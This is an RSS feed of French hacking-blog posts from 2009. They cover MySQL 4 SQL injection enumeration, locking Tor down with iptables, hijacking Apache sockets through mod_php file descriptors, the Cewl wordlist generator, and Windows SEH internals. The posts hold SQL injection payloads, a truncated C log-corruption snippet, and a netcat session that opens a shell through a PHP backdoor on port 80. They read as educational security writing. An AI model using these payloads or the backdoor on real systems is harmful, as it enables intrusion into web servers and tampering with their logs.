			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/12/mysql-logo.png"><img class="alignleft size-full wp-image-678" title="mysql-logo" src="http://serphacker.com/wp-content/uploads/2009/12/mysql-logo.png" alt="" width="200" height="103" /></a>Un petit post pour donner quelques tips et un petit script PERL pour lister les noms des colonnes et des tables lorsque l&#8217;on fait une <strong>injection SQL</strong> avec une base de données <strong>Mysql 4</strong>. Ha oui, c&#8217;est tout de suite plus difficile sans <strong>information_schema</strong> !</p>
<p><span id="more-493"></span><br />
Le premier tips c&#8217;est en utilisant la fonction <a href="http://dev.mysql.com/doc/refman/5.0/fr/procedure-analyse.html">PROCEDURE ANALYSE()</a>. Look :</p>
<pre lang="text">mysql&gt; SELECT * FROM client WHERE idClient =1 PROCEDURE ANALYSE();

+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| Field_name              | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | Avg_value_or_avg_length | Std    | Optimal_fieldtype     |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
| clientz.client.idClient | 1         | 1         |          1 |          1 |                0 |     0 | 1.0000                  | 0.0000 | ENUM('1') NOT NULL    |
| clientz.client.name     | toto      | toto      |          4 |          4 |                0 |     0 | 4.0000                  | NULL   | ENUM('toto') NOT NULL |
| clientz.client.pass     | 123       | 123       |          3 |          3 |                0 |     0 | 3.0000                  | NULL   | ENUM('123') NOT NULL  |
+-------------------------+-----------+-----------+------------+------------+------------------+-------+-------------------------+--------+-----------------------+
3 rows in set (0.00 sec)</pre>
<p>Youpi, la requête nous liste les noms des colonnes, la table et la base de données <strong>concernées par la requête</strong> ! Malheureusement il y a un petit problème, le titre des colonnes du résultat est changé : <code>Field_name | Min_value | Max_value | ...</code> au lieu de <code>idClient | name | pass</code>. Concrètement, cela veut dire qu&#8217;on pourra profiter de ce petit truc uniquement si le codeur référence ces colonnes par index et pas par nom de table (<em> $row[0] et pas $row["idClient"]</em> ), ce qui est plutôt rare&#8230;</p>
<p>Un autre truc (<strong>corrigé sur Mysql 5.1</strong>) que j&#8217;ai découvert sur le forum de sla.ckers (ou ailleurs), lorsque l&#8217;on a découvert le nom de la table on peut tester un truc dans le genre :</p>
<pre lang="text">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client LIMIT 1) = (1);

ERROR 1241 (21000): Operand should contain 3 column(s)</pre>
<p>Youpi car ça nous retourne le nombre de colonnes, mais c&#8217;est maintenant que ça devient intéressant, toujours à l&#8217;aide des messages d&#8217;erreurs on va pouvoir lister le nom de chacune d&#8217;entre elles :</p>
<pre lang="text">mysql&gt; SELECT name FROM client WHERE idClient = 1 AND (SELECT * FROM client UNION SELECT 1%0,2,3 LIMIT 1) = (1,2,3);

"Column 'idClient' cannot be null"</pre>
<p>Super Youpi alors, mais en faite, ça ne marchera que si la colonne en question dispose de l&#8217;attribut <strong>NOT NULL</strong> :(</p>
<p>Bon allez, j&#8217;arrête de donner des petits trucs foireux, passons aux choses sérieuses avec <a href="http://indahax.com/downloads/mysql4-enumeration.pl">ce script</a> maison en PERL qui cherche les noms des tables à partir d&#8217;une wordlist :</p>
<pre lang="text">pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -t -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Table found : client

pierre@linux:/pentest/web/sql$ ./mysql4-enumeration.pl -c=client -w=/pentest/wordlist/sql_tables_columns.txt
METHOD 			: POST
FAILURE_PATTERN 	: ERROR|FAIL
STARTING MYSQL 4 ENUMERATION

[*] Column found : name
[*] Column found : pass</pre>
<p>Je me suis pas pris la tête pour dev le script, il faut bidouiller le code pour personnaliser l&#8217;attaque en fonction l&#8217;injection&#8230; J&#8217;espère que vous comprendrez, sinon tant pis :)</p>
<p>Bien sûr il vous faut une wordlist pour exécuter ce script (on laisse ce plaisant exercice au lecteur).</p>
<p>Passez de joyeuses fêtes !</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/xCqbjoBO5j0" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/enumeration-tables-columns-mysql-4.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://serphacker.com/enumeration-tables-columns-mysql-4.html</feedburner:origLink></item>
		<item>
		<title>Sécuriser Tor avec iptables</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/m5P5g6bVqbQ/secure-tor.html</link>
		<comments>http://serphacker.com/secure-tor.html#comments</comments>
		<pubDate>Fri, 18 Dec 2009 12:28:57 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=474</guid>
		<description><![CDATA[Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le proxy Tor. Vous connaissez surement l&#8217;indispensable extension torbutton qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je &#8230; <a href="http://serphacker.com/secure-tor.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/12/tor.png"><img class="alignleft size-full wp-image-624" title="tor" src="http://serphacker.com/wp-content/uploads/2009/12/tor.png" alt="" width="193" height="79" /></a>Voici une petite astuce pour être sûr de n&#8217;avoir aucune fuite en utilisant le <strong>proxy Tor</strong>.<br />
<span id="more-474"></span><br />
Vous connaissez surement l&#8217;indispensable extension <a href="https://addons.mozilla.org/fr/firefox/addon/2275">torbutton</a> qui permet de bloquer tous les plugins (Java, Flash, &#8230;) susceptibles de leaker votre adresse IP, que je vous recommande d&#8217;ailleurs d&#8217;utiliser dans un profil Firefox différent avec le minimum vital niveau extension.</p>
<p>Cependant, il reste un problème : Torbutton ne gère que les connexions liées à Firefox, pour les autres applications, comment s&#8217;assurer qu&#8217;elles utilisent uniquement le proxy tor ? Une très bonne solution consiste à gérer le problème à la racine, c&#8217;est à dire en <strong>autorisant uniquement les connexions du processus tor via un firewall</strong>. Voici comment faire avec iptables.</p>
<p>Tout d&#8217;abord, il est nécessaire de créer un utilisateur pour tor et d&#8217;exécuter le processus avec celui-ci. Vous pouvez lancer tor directement avec l&#8217;utilisateur en question ou bien lancer tor avec les droits root et entrer la ligne suivante dans le fichier de configuration <strong>torrc</strong> :</p>
<pre lang="bash">User tor</pre>
<p>Ensuite il nous reste à configurer iptables :</p>
<pre lang="bash"># Vide les règles déjà présentes
iptables -F INPUT
iptables -F OUTPUT

# Bloque tout par défaut
iptables -P INPUT DROP
iptables -P OUTPUT DROP

# Autorise toutes les connexions locales
iptables -A OUTPUT -o lo -j ACCEPT
iptables -A INPUT -i lo -j ACCEPT

# Autorise uniquement les processus de l'utilisateur tor à établir des connexions
iptables -A OUTPUT -m owner --uid-owner tor -j ACCEPT

# Accepte uniquement les connexions que l'on a initiées
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# Sauvegarde le tout
iptables-save &gt; /etc/iptables/tor</pre>
<p>Et voilà, lors de l&#8217;utilisation de Tor on pourra mettre en place ces règles iptables afin d&#8217;être sur de communiquer uniquement via ce réseau.</p>
<pre lang="bash">iptables-restore &lt; /etc/iptables/tor</pre>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/m5P5g6bVqbQ" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/secure-tor.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		<feedburner:origLink>http://serphacker.com/secure-tor.html</feedburner:origLink></item>
		<item>
		<title>Détourner Apache via PHP</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/24S7sUtK0_c/apache-php-file-descriptor.html</link>
		<comments>http://serphacker.com/apache-php-file-descriptor.html#comments</comments>
		<pubDate>Mon, 07 Dec 2009 15:51:49 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=454</guid>
		<description><![CDATA[Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec les droits apache, même si les logs sont en chmod 600 root. Pire, il &#8230; <a href="http://serphacker.com/apache-php-file-descriptor.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://serphacker.com/wp-content/uploads/2009/12/apache.gif"><img class="alignleft size-full wp-image-676" title="apache" src="http://serphacker.com/wp-content/uploads/2009/12/apache.gif" alt="" width="165" height="124" /></a>Hello, il y a peu, je me suis rendu compte que l&#8217;on pouvait écrire dans les logs Apache à partir d&#8217;un simple script PHP exécuté avec <strong>les droits apache</strong>, même si les logs sont en <strong>chmod 600 root</strong>. Pire, il est possible à partir d&#8217;un simple script php <strong>d&#8217;écouter sur le port 80 et de détourner toutes les requêtes</strong> faites vers le serveur web&#8230; Le comble c&#8217;est que cette faille est connue depuis que le mod_php existe sur Apache !<span id="more-454"></span></p>
<p>Le <strong>mod_php</strong> ne ferme pas les descripteurs de fichiers dont il a hérité avant d&#8217;exécuter du code PHP, on se retrouve donc avec un certain de nombre de descripteurs très intéressants, par exemple lorsque l&#8217;on exécute le code suivant :</p>
<pre lang="php">    print posix_getpid()."n";
    flush();
    sleep(30);</pre>
<p>Et que l&#8217;on regarde ensuite tous les descripteurs de fichier ouvert via /proc/ ou lsof :</p>
<pre lang="text">root@linux:~# l /proc/10927/fd
total 0
lr-x------ 1 root root 64 2009-12-07 12:34 0 -&gt; /dev/null
l-wx------ 1 root root 64 2009-12-07 12:34 1 -&gt; /dev/null
lrwx------ 1 root root 64 2009-12-07 12:34 10 -&gt; anon_inode:[eventpoll]
lrwx------ 1 root root 64 2009-12-07 12:34 11 -&gt; socket:[244519]
l-wx------ 1 root root 64 2009-12-07 12:34 2 -&gt; /var/log/apache2/all.log
lrwx------ 1 root root 64 2009-12-07 12:34 3 -&gt; socket:[7137]
lrwx------ 1 root root 64 2009-12-07 12:34 4 -&gt; socket:[7138]
lr-x------ 1 root root 64 2009-12-07 12:34 5 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 6 -&gt; pipe:[7187]
l-wx------ 1 root root 64 2009-12-07 12:34 7 -&gt; /var/log/apache2/error.log
l-wx------ 1 root root 64 2009-12-07 12:34 8 -&gt; /var/log/apache2/all.log
l-wx------ 1 root root 64 2009-12-07 12:34 9 -&gt; /var/log/apache2/access.log

root@linux:~# lsof | grep 10927 | grep -v mem
apache2   10927   www-data  cwd       DIR               8,21     4096          2 /
apache2   10927   www-data  rtd       DIR               8,21     4096          2 /
apache2   10927   www-data  txt       REG               8,21   435528    6963211 /usr/sbin/apache2
apache2   10927   www-data  DEL       REG                0,9                7360 /dev/zero
apache2   10927   www-data    0r      CHR                1,3                3248 /dev/null
apache2   10927   www-data    1w      CHR                1,3                3248 /dev/null
apache2   10927   www-data    2w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    3u     sock                0,4                7137 can't identify protocol
apache2   10927   www-data    4u     IPv6               7138                 TCP *:www (LISTEN)
apache2   10927   www-data    5r     FIFO                0,6                7187 pipe
apache2   10927   www-data    6w     FIFO                0,6                7187 pipe
apache2   10927   www-data    7w      REG               8,21      200    6553939 /var/log/apache2/error.log
apache2   10927   www-data    8w      REG               8,21      881    6553938 /var/log/apache2/all.log
apache2   10927   www-data    9w      REG               8,21    14338    6553937 /var/log/apache2/access.log
apache2   10927   www-data   10u     0000                0,7        0         32 anon_inode</pre>
<p>On peut voir que le processus en cours, qui n&#8217;est rien d&#8217;autre qu&#8217;un simple script php exécuté avec les droits d&#8217;Apache, possède des descripteurs de fichiers des logs Apache <strong>ouverts en écriture</strong>, un descripteur sur le <strong>socket en écoute sur le port 80</strong>&#8230;</p>
<p>Il est difficile de les manipuler directement via PHP, ce langage ne possède pas de fonctions assez bas niveau pour jouer avec des descripteurs de fichier. Cependant, PHP <strong>autorise par défaut</strong> des fonctions permettant d&#8217;exécuter un fichier binaire ( la fonction <strong>system()</strong> par exemple) :).</p>
<p>Le code suivant permet d&#8217;écrire n&#8217;importe quoi dans tous les logs Apache :</p>
<pre lang="c">int main(int argc,char * argv[]){
    int fd;
    int flag,accmode,val;
    struct stat fileinfo;
    char buffer[1024] = "AAAAA";
    int count;

    for (fd=0; fd</pre>
<p>Déterminer clairement quel est le fichier de log ouvert à partir d&#8217;un descripteur de fichier reste difficile, on obtient facilement l&#8217;inoeud (man fstat ) mais il reste à trouver le ou les répertoires qui possèdent cet inoeud, et avec les droits Apache, on aura pas forcément ceux nécessaires pour ouvrir lesdits répertoires.</p>
<p>J&#8217;étais parti pour faire un monstrueux log wiper, mais malheureusement le descripteur de fichier est ouvert en <em>Write Only</em> et il semble impossible de changer ce mode en <em>Lecture / Ecriture</em> sur un descripteur de fichier ( man fcntl )&#8230; On pourra quand même bien corrompre les fichiers de logs ou exploser la partition /log (voire / si on a affaire à <strong>un admin level 70</strong> ).</p>
<p>Pas grave, on peut faire des trucs beaucoup plus intéressants grâce aux descripteurs de socket, on peut voir <a href="http://hackerdom.ru/~dimmo/phpexpl.c">ici</a> une preuve de concept terrible que j&#8217;ai découverte sur <a href="http://bugs.php.net/bug.php?id=38915">un bug report de php.net</a>. Le script PHP hijack le socket en écoute sur le port 80, écoute à sa place et intercepte toutes les requêtes ! À la fin du bug report on peut lire que le bug est corrigé, pour ma part il est toujours actif sur une Ubuntu à jour.</p>
<p>La meilleure utilisation de cette vulnérabilité reste la backdoor PHP <a href="http://pentestmonkey.net/tools/php-findsock-shell/">find-sock-shell</a> de pentestmonkey. Un simple netcat sur le port 80 et on a bon petit shell bien user friendly, beaucoup plus pratique qu&#8217;une banale <a href="http://www.google.fr/search?source=ig&amp;hl=fr&amp;rlz=&amp;=&amp;q=r57shell+%22your+ip%22&amp;btnG=Recherche+Google&amp;meta=lr%3D&amp;aq=f&amp;oq=">r57shell</a> ou autre <a href="http://www.google.fr/search?source=ig&amp;hl=fr&amp;rlz=&amp;=&amp;q=intitle%3AC99Shell+v.+1.0+pre-release+%2Buname&amp;btnG=Recherche+Google&amp;meta=lr%3D&amp;aq=f&amp;oq=">c99</a>.</p>
<pre lang="text">$ nc -v target 80
target [10.0.0.1] 80 (http) open
GET /php-findsock-shell.php HTTP/1.0

sh-3.2$ id
uid=80(apache) gid=80(apache) groups=80(apache)
sh-3.2$
... you now have an interactive shell ...</pre>
<p>Longue vie à PHP.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/24S7sUtK0_c" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/apache-php-file-descriptor.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		<feedburner:origLink>http://serphacker.com/apache-php-file-descriptor.html</feedburner:origLink></item>
		<item>
		<title>Un dictionnaire ciblé pour les attaques bruteforce</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/sFuVnVKH_rk/dictionnaire-social-engineering.html</link>
		<comments>http://serphacker.com/dictionnaire-social-engineering.html#comments</comments>
		<pubDate>Tue, 01 Dec 2009 09:42:40 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=435</guid>
		<description><![CDATA[Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : Cewl. Il permet de générer un dictionnaire à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous &#8230; <a href="http://serphacker.com/dictionnaire-social-engineering.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Aujourd&#8217;hui je vais vous présenter rapidement un petit tool sympa pour la recherche d&#8217;informations : <a href="http://www.digininja.org/projects/cewl.php">Cewl</a>. Il permet de <strong>générer un dictionnaire</strong> à partir d&#8217;un site. Si par exemple vous auditez un site spécialisé dans un certain domaine, vous vous retrouvez avec une <strong>wordlist</strong> comportant tout le jargon du domaine en question&#8230; Ça peut toujours permettre de cracker quelques mots de passe supplémentaires :)<span id="more-435"></span></p>
<p>Dans le même genre je connaissais <a href="http://www.remote-exploit.org/codes_wyd.html">wyd.pl</a> mais en beaucoup moins pratique, car il fallait faire un script pour télécharger les sources HTML, alors qu&#8217;avec Cewl tout est fait en une seule ligne de commande (même s&#8217;il faudra faire un peu le ménage à coup de grep/diff/comm).</p>
<p>Le tool extrait également des adresses emails ainsi que les meta data des fichiers Doc et PDF (un peu comme <a href="http://www.edge-security.com/metagoofil.php">metagoofil</a> et <a href="http://www.edge-security.com/theHarvester.php">theharverster</a> qui utilise les moteurs de recherche).</p>
<p>Bon voici comment ça marche :</p>
<pre lang="text">
pierre@linux:/pentest/ig/cewl$ ./cewl.rb -w /tmp/wordlist.txt -d 1 -m 5 http://www.indahax.com
pierre@linux:/pentest/ig/cewl$ tail /tmp/wordlist.txt
whereis
which
win32
windows
wordpress
write
wrote
yahoo
yopmail
zombie
</pre>
<p>Facile non ? Bon j&#8217;ai rajouté une option max_word_length dans le script car je me retrouvais parfois avec des mots useless d&#8217;une longueur > 20.</p>
<p>Pour les feignants(noob?) comme moi qui ne jurent que par <em>apt-get</em>, les librairies nécessaires pour faire fonctionner le script ne sont pas dans les dépots. Il faut y aller à coup de <em>gem install lib_ruby</em>, elles sont installées dans <em>/var/lib/gems/1.8/gems/nom_de_la_lib/lib/</em> alors que le path des librairies ruby est <em>/usr/lib/ruby/1.8/nom_de_la_lib</em> sur Ubuntu.</p>
<img src="http://feeds.feedburner.com/~r/serphacker/~4/sFuVnVKH_rk" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://serphacker.com/dictionnaire-social-engineering.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<feedburner:origLink>http://serphacker.com/dictionnaire-social-engineering.html</feedburner:origLink></item>
		<item>
		<title>Introduction au Structured Exception Handler</title>
		<link>http://feedproxy.google.com/~r/serphacker/~3/JD6XZHkuYlA/structured-exception-handler.html</link>
		<comments>http://serphacker.com/structured-exception-handler.html#comments</comments>
		<pubDate>Thu, 19 Nov 2009 15:38:44 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Hacking]]></category>

		<guid isPermaLink="false">http://www.indahax.com/?p=5</guid>
		<description><![CDATA[Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les buffer overflow sous Windows, il devait traiter des structured exception handler, de leur exploitation dans les débordements de tampon et les nouvelles protections mises au niveau du compilateur (Safe &#8230; <a href="http://serphacker.com/structured-exception-handler.html">Lire la suite <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Bon, c&#8217;est un veil article que j&#8217;avais écrit lorsque j&#8217;étudiais les <strong>buffer overflow</strong> sous Windows, il devait traiter des <strong>structured exception handler</strong>, de leur exploitation dans les <strong>débordements de tampon</strong> et les nouvelles protections mises au niveau du compilateur (Safe SEH). Je devais finir cet article un jour, mais je pense que ce jour n&#8217;arrivera jamais, alors je vais déjà lâcher cette <strong>introduction au SEH</strong> qui aidera peut être un pauvre internaute perdu sur Google. Attention ça peut donner mal au crane.</p>
<p><span id="more-5"></span></p>
<ol>
<li><span style="text-decoration: underline;"><strong>C&#8217;est quoi un SEH ?</strong></span></li>
</ol>
<p>C&#8217;est un gestionnaire d&#8217;exception qui permet au programmeur de gérer une exception lui même plutôt que de laisser le programme le faire (ce qui aboutit généralement à un ExitProcess() ). Concrètement ils sont représentés en C par les instructions __try / __except / __finally. Parmi les exceptions on peut distinguer :</p>
<ul>
<li><strong>Les exceptions materielles</strong> : typiquement un <em>ACCESS_VIOLATION</em> ou <em>DIVISION_BY_ZERO</em>, c&#8217;est le style d&#8217;exception que l&#8217;on rencontre le plus souvent.</li>
<li><strong>Les exceptions logicielles</strong> : c&#8217;est le programmeur lui même qui créé ce type d&#8217;exception, il les déclenche à l&#8217;aide d&#8217;une fonction <a href="http://msdn.microsoft.com/en-us/library/het71c37(VS.80).aspx" target="_blank">RaiseException()</a> . Un programmeur peut par exemple créer une exception NOT_ENOUGH_MEMORY lorsqu&#8217;il n&#8217;arrive plus à allouer de mémoire.</li>
</ul>
<p>Un SEH est responsable d&#8217;une portion de code sur laquelle il peut intercepter des exceptions. Dans cette section de code il peut également y avoir d&#8217;autre SEH qui gère eux aussi d&#8217;autre portion de code.</p>
<pre lang="text">SEH1[
  //code protégé par SEH1
  SEH2[
    //code protégé par SEH2, SEH1
    SEH3[
      ...
    ]
  ]
]</pre>
<p>Donc dans un programme on a pas un SEH mais plusieurs, et à différent niveau, lorsqu&#8217;un SEH ne gère pas une exception il la passe au SEH du niveau supérieur. En mémoire ils sont représentés sous forme d&#8217;une liste chainée dans la pile (on verra çà plus en détail après).</p>
<p><strong>Que se passe-t-il lorsqu&#8217;une exception est déclenchée ?</strong></p>
<p>Le système va passer en mode noyau, il va effectuer quelques opérations notamment un dump des  registres du processeur ( le contexte ) qu&#8217;il va placer sur la pile du thread. Il repasse ensuite en mode utilisateur dans la fonction <a href="http://www.nynaeve.net/?p=201">KiUserExceptionDispatcher()</a> de ntdll.dll.</p>
<p>Si le processus est en cours de débgage le programme va passer la main au débuggeur qui va lui même gérer l&#8217;exception. S&#8217;il n&#8217;y a pas de débuggeur, ou qu&#8217;il ne gère pas l&#8217;erreur, l&#8217;exception va être retransmise au premier SEH, c&#8217;est à dire celui qui est le plus proche de là où a été générée l&#8217;exception. Ce gestionnaire va alors regarder s&#8217;il est capable de gérer l&#8217;exception :</p>
<ul>
<li>S&#8217;il en est capable, le SEH fait alors son traitement, par exemple il peut essayer d&#8217;obtenir des informations sur la cause de l&#8217;erreur pour générer des informations utiles au débuggage, ou bien il peut choisir d&#8217;essayer de corriger l&#8217;erreur par modification de variable, des registres&#8230; Dans tous les cas il pourra choisir de reprendre l&#8217;exécution là où l&#8217;erreur à eu lieu ou bien après la portion de code qu&#8217;il protège.</li>
<li>S&#8217;il n&#8217;est pas capable de la gérer il la passe alors au SEH du niveau du dessus et ainsi de suite jusqu&#8217;à atteindre le dernier SEH.</li>
</ul>
<p>Le comportement du dernier SEH peut dépendre des logiciels que vous avez installés sous Windows, mais sur un Windows par défaut, il va créer une boite de dialogue avec quelques informations sur l&#8217;état des registres et faire un appel à ExitProcess() pour quitter l&#8217;application. Si vous avez installé un debuggeur, Windows vous proposera de lancer le débuggeur Just In Time&#8230;</p>
<ol>
<li><strong><span style="text-decoration: underline;">Au niveau assembleur</span></strong></li>
</ol>
<p>Les SEH sont stockés dans la pile sous forme d&#8217;une liste chainée. La structure d&#8217;un SEH est de la forme :</p>
<pre lang="text">_EXCEPTION_REGISTRATION struc
     prev    dd      ?
     handler dd      ?
 _EXCEPTION_REGISTRATION ends</pre>
<p><em>prev</em> représente un pointeur sur le précédent SEH et <em>handler</em> est un pointeur vers la fonction qui va être appelée lorsqu&#8217;une exception sera levé.</p>
<p>Le début de cette liste chainée est stocké dans la TEB (Thread Environnement Block) dans le registre de segment fs en fs:[0]. Cela signifie également qu&#8217;une liste de SEH est propre à un thread et non à un processus.</p>
<p><img title="SEH en mémoire" src="images/seh1.JPG" alt="Les SEH en mémoire" /></p>
<p>fs:[0] pointe toujours vers le dernier SEH installé,c&#8217;est le premier qui sera appelé en cas d&#8217;exception.</p>
<p>Le premier SEH installé est différencié des autres par son pointeur prev qui a la valeur 0xFFFFFFFF, il est mis en place à la création du processus (dans BaseProcessStart ) et avant l&#8217;entrée dans le main()/WinMain() . Si une exception est déclenchée et qu&#8217;aucun SEH n&#8217;a géré cette exception, alors ce dernier SEH va appeler la fonction UnhandledExceptionFilter() . C&#8217;est cette fonction qui créé la boite de dialogue avec les infos sur les registres ou qui propose de lancer le debugeur en dernier recours (Le fameux Just In Time Debugging ) . Il est possible de modifier le comportement de ce seh en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680634(VS.85).aspx">SetUnhandledExceptionFilter()</a> .</p>
<p>Pour mettre en place un SEH en assembleur on peut procéder de cette manière :</p>
<pre lang="asm">; adresse du handler
push handler
; adresse de la structure SEH précédente
push fs:[0]
; fait pointer fs:[0] vers notre nouveau SEH
mov fs:[0],esp
; ici le code protégé par le seh
; ...

;on enléve le SEH
pop fs:[0]
add esp,4
ret

; notre handler
handler:
; ...</pre>
<p><strong> Une fois dans le handler </strong><br />
Lorsque le handler d&#8217;un SEH est appelé, des informations concernant l&#8217;exception sont mis en place sur la pile :</p>
<table border="0">
<tbody>
<tr>
<td>ESP + 0&#215;4</td>
<td><a href="http://msdn.microsoft.com/en-us/library/aa363082(VS.85).aspx">EXCEPTION_RECORD</a></td>
</tr>
<tr>
<td>ESP + 0&#215;8</td>
<td>Le SEH</td>
</tr>
<tr>
<td>ESP + 0xC</td>
<td>CONTEXT (cf WinNT.h)</td>
</tr>
</tbody>
</table>
<p>La structure <em>EXCEPTION_RECORD</em> contient des informations sur l&#8217;exception comme :</p>
<ul>
<li>Le code de l&#8217;exception (ACCESS_VIOLATION, etc.)</li>
<li>Les flags : par exemple ils permettent de savoir si c&#8217;est une exception non continuable, si on est dans l&#8217;appel du stack unwinding (2éme appel du handler cf après)&#8230;</li>
<li>L&#8217;adresse où a eu lieu l&#8217;exception.</li>
</ul>
<p>C&#8217;est à partir de cette structure que le handler va pouvoir déterminer s&#8217;il a la capacité de gérer une exception.</p>
<p>La structure <em>CONTEXT</em> permet d&#8217;avoir des informations sur l&#8217;état des registres lorsque l&#8217;exception a eu lieu, c&#8217;est cette structure qu&#8217;il faut modifier si on veut reprendre l&#8217;exécution à un autre endroit en modifiant EIP.</p>
<p>Et enfin un pointeur vers le SEH que l&#8217;on avait mis sur la pile pour garder la portion de code où a eu lieu l&#8217;exception. Le fait d&#8217;avoir un pointeur vers ce SEH signifie que l&#8217;on peut construire un SEH personnalisé afin d&#8217;y intégrer des informations supplémentaires. Par exemple, on pourrait avoir besoin d&#8217;avoir une adresse pour reprendre l&#8217;exécution à un endroit sûre. Voici un exemple de code qui exploite ce système de SEH étendue :</p>
<pre lang="asm">.386                      ; force 32 bit code
.model flat, stdcall      ; memory model &amp; calling convention
option casemap :none      ; case sensitive

include c:masm32includewindows.inc

MYSEH STRUCT
	prev		DWORD ?
	handler	DWORD ?
	safeeip	DWORD ?
MYSEH ENDS

.code
start:

main PROC
assume fs:nothing

; on mets en place un SEH étendu
push safeip			; notre champ supplémentaire safeeip
push handler		; le handler
push fs:[0]			; l'adresse du SEH suivant

mov fs:[0],esp		; on installe notre seh

xor eax,eax
mov [eax],eax		; on génére un ACCESS_VIOLATION
jmp endx

handler:
; esp == ret eip
; esp + 0x04 == EXCEPTION_RECORD*
; esp + 0x08 == MYSEH*
; esp + 0x0C == CONTEXT

; est ce un ACCESS_VIOLATION ?
mov ebx,[esp+04h]
cmp (EXCEPTION_RECORD PTR [ebx]).ExceptionCode, 0C0000005h
jz AViol

; si ce n'est pas un ACCESS_VIOLATION on donne la main au handler suivant
mov eax,ExceptionContinueSearch
ret

AViol:
; si c'est un ACCESS_VIOLATION on reprend l'execution en myseh.safeeip
mov ebx,[esp+08h]	; ecx == MYSEH
mov ecx,[esp+0Ch]	; ebx == CONTEXT

mov edx,(MYSEH PTR [ebx]).safeeip
mov (CONTEXT PTR [ecx]).regEip, edx

mov eax, ExceptionContinueExecution
ret

safeip:
endx:
; on enléve le SEH et restaure l'ancien
pop fs:[0]
add esp,8

ret

main endp
end start</pre>
<p>Le compilateur windows utilise ce système de SEH étendue en réalisant une structure beaucoup plus complexe que le <em>EXCEPTION_REGISTRATION</em> vu au début.</p>
<p><strong> The stack unwinding </strong></p>
<p>En réalité le handler d&#8217;un SEH qui ne gère pas une exception doit être appelé une seconde fois. Ce deuxième appel est déclenché par le handler qui a décidé de gérer l&#8217;exception, il va reparcourir la liste des SEH depuis le début et exécuter une deuxième fois le handler de chaque SEH qui le précède, en rajoutant le flag <em>EH_UNWINDING</em> au niveau des Exceptions Flag de la structure <em>EXCEPTION_RECORD</em> pour que les handlers puissent différencier les 2 appels.</p>
<p>Ici l&#8217;action est bien déclenchée par le handler qui gère l&#8217;exception et non par le système, c&#8217;est à dire que c&#8217;est au programmeur d&#8217;implémenter cette fonctionnalité. Cela peut être fait en appelant la fonction <a href="http://msdn.microsoft.com/en-us/library/ms680609(VS.85).aspx">RtlUnwind()</a> (cf <a href="http://www.jorgon.freeserve.co.uk/Except/Except.htm#St">l&#8217;article</a> de J. Gorgon pour plus d&#8217;info ) .</p>
<p>Le rôle du stack unwinding est de nettoyer les variables de la portion de code qui a déclenché l&#8217;exception, par exemple c&#8217;est à ce moment qu&#8217;il est utile de fermer les handles, libérer la mémoire&#8230; Concrètement ce deuxième appel correspond au bloc __finaly en C.</p>
<p>De plus, si l&#8217;exécution reprend à partir d&#8217;un SEH de niveau supérieur, alors le stack unwinding est également responsable d&#8217;enlever de la liste des SEH tout ceux qui ont été mis après ce SEH (c&#8217;est à dire les SEH qui ne porte plus sur le code courant ).</p>
<p><br/><br />
Voilà c&#8217;est tout pour aujourd&#8217;hui, par la suite nous verrons comment sont implémentés les SEH dans les compilateurs, comment les exploiter lors d&#8217;un débordement de tampon et les nouvelles protéctions misent en place par Windows (Safe SEH).</p>
<p>Réferences :</p>
<p>http://www.microsoft.com/msj/0197/Exception/Exception.aspx</p>
<p>http://msdn.microsoft.com/en-us/library/swezty51(VS.80).aspx</p>
